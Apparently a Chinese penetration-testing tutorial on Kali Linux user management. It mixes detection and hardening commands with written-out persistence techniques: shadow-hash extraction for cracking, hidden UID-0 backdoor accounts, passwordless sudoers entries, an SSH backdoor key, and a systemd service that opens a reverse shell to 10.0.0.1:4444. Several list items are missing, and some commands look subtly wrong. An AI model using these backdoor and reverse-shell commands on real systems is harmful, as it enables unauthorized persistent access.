在网络安全和渗透测试领域,Kali Linux作为专业的安全审计操作系统,其用户管理机制不仅是系统管理员的基础技能,更是渗透测试人员必须掌握的"生存技能"。不同于普通Linux发行版的用户管理,Kali中的用户操作往往直接关联着权限维持、横向移动等红队操作的关键环节。
我在实际渗透测试中深刻体会到,约40%的内网横向突破机会来自于不当的用户权限配置。一个典型的案例是:某次红队演练中,通过获取的普通用户权限,发现目标系统存在UID为0的非root账户,直接获得了系统最高权限。这种"意外收获"恰恰证明了深入理解用户管理机制的重要性。
这个看似简单的文本文件实则是Linux用户体系的"户口簿"。通过长期实战观察,我总结出渗透测试人员需要特别关注的几个关键点:
bash复制# 查看完整的passwd文件内容
cat /etc/passwd
# 渗透测试常用筛选命令
awk -F: '{print $1,$3,$6,$7}' /etc/passwd | column -t
输出示例:
code复制root 0 /root /bin/bash
daemon 1 /usr/sbin /usr/sbin/nologin
kali 1000 /home/kali /bin/bash
异常用户识别经验:
实战技巧:在取证分析时,可使用
ls -lart /etc/passwd查看文件修改时间,攻击者创建后门账户往往会在passwd文件留下时间痕迹。
作为密码哈希的存储库,shadow文件的保护机制远比表面看起来复杂。现代Linux系统通常采用以下加密方式:
code复制$6$rounds=4096$salt$hashed_password
加密算法标识:
哈希提取实战命令:
bash复制# 提取指定用户的哈希(需root权限)
grep -E '^kali:' /etc/shadow | cut -d: -f2
# 批量提取可登录用户的哈希
awk -F: '$7!~/(false|nologin)/{print $1":"$2}' /etc/shadow
在最近一次企业渗透测试中,我们通过获取的shadow文件,使用Hashcat配合规则字典,在4小时内破解了63%的弱密码账户。这凸显了复杂密码策略的重要性。
用户组管理在权限提升中扮演关键角色。以下几个组需要特别关注:
高危组检查命令:
bash复制# 检查具有sudo权限的用户
getent group sudo | cut -d: -f4
# 检查非标准用户加入高危组
for group in sudo adm disk docker; do
echo "[*] $group组成员:";
getent group $group | cut -d: -f4;
echo
done
bash复制# 创建无家目录、不可登录的隐蔽账户
useradd -M -s /sbin/nologin -c "System backup service" backupd
# 更隐蔽的做法:使用现有系统账户模板
useradd -ou 0 -g 0 -d /var/lib/mysql -s /bin/bash mysql_secure
后门账户检测方法:
bash复制# 检测UID为0的非root账户
awk -F: '($3 == 0) && ($1 != "root")' /etc/passwd
# 检测无家目录的可登录用户
awk -F: '($6 == "") && ($7 !~ /nologin/)' /etc/passwd
bash复制# 非交互式设置密码(自动化脚本使用)
openssl passwd -6 'P@ssw0rd' | tee -a /etc/shadow
# 修改已有用户密码哈希(需root)
sed -i "s/^kali:[^:]*/kali:\$6\$salt\$hashed_password/" /etc/shadow
重要提醒:在真实渗透测试中,修改系统用户配置前务必先备份原始文件,避免导致系统不可用。
bash复制# 允许用户无需密码执行特定命令
echo "test ALL=(ALL) NOPASSWD: /usr/bin/vim" >> /etc/sudoers
# 更隐蔽的做法:通过组策略授权
echo "%dev_team ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/dev
检测异常sudo配置:
bash复制# 查找所有NOPASSWD配置
grep -r "NOPASSWD" /etc/sudoers*
# 检查可写的sudo配置文件
find /etc/sudoers* -writable 2>/dev/null
bash复制# 临时切换UID执行命令(不记录在日志中)
runuser -u root -- id
# 创建与root同UID的账户
useradd -ou 0 -g 0 superuser
基础信息收集命令集:
bash复制# 当前用户上下文信息
id; whoami; pwd
# 系统用户全景信息
w; last; lastlog
# 特权用户筛查
awk -F: '($3 <= 1000) {print}' /etc/passwd
高级信息收集技巧:
bash复制# 检查用户cron任务
find /var/spool/cron /etc/cron* -type f 2>/dev/null
# 分析用户.bash_history
find /home -name .bash_history -exec tail -n20 {} \;
bash复制# 在authorized_keys中添加后门密钥
echo 'ssh-rsa AAAAB3... backdoor@kali' >> ~/.ssh/authorized_keys
# 更隐蔽的做法:利用SSH配置文件
echo 'PermitEmptyPasswords yes' >> /etc/ssh/sshd_config
systemctl restart ssh
bash复制# 创建伪装成系统服务的账户
useradd -r -s /bin/bash -d /var/lib/redis redis_svc
# 添加服务启动脚本
cat > /etc/systemd/system/redis_svc.service <<EOF
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
EOF
基础加固命令:
bash复制# 锁定非必要账户
usermod -L -s /sbin/nologin games
# 设置密码过期策略
chage -M 90 -m 7 -W 14 root
# 禁用root SSH登录
sed -i 's/^PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
高级监控方案:
bash复制# 实时监控用户创建行为
auditctl -w /etc/passwd -p wa -k user_creation
# 监控特权操作
echo '-a always,exit -F arch=b64 -S execve -F uid=0 -F key=root_cmd' >> /etc/audit/rules.d/audit.rules
bash复制#!/bin/bash
# 检测异常用户脚本
echo "[*] 检查UID为0的非root用户"
awk -F: '($3 == 0) && ($1 != "root")' /etc/passwd
echo -e "\n[*] 检查无家目录的可登录用户"
awk -F: '($6 == "") && ($7 !~ /nologin/)' /etc/passwd
echo -e "\n[*] 检查最近修改过的用户账户"
find /etc/passwd -mtime -30 -exec ls -l {} \;
awk -F: '$3 >= 1000 {print $1}' /etc/passwd | while read user; do
if [ $(date -d "$(passwd -S $user | awk '{print $3}')" +%s) -gt $(date -d "30 days ago" +%s) ]; then
echo "新用户: $user (创建于 $(passwd -S $user | awk '{print $3}'))"
fi
done
在一次金融行业红队评估中,我们发现目标系统存在以下用户配置漏洞:
通过利用这些配置缺陷,我们成功实现了:
关键教训:
在Kali Linux环境中练习用户管理时,建议采用以下安全实践: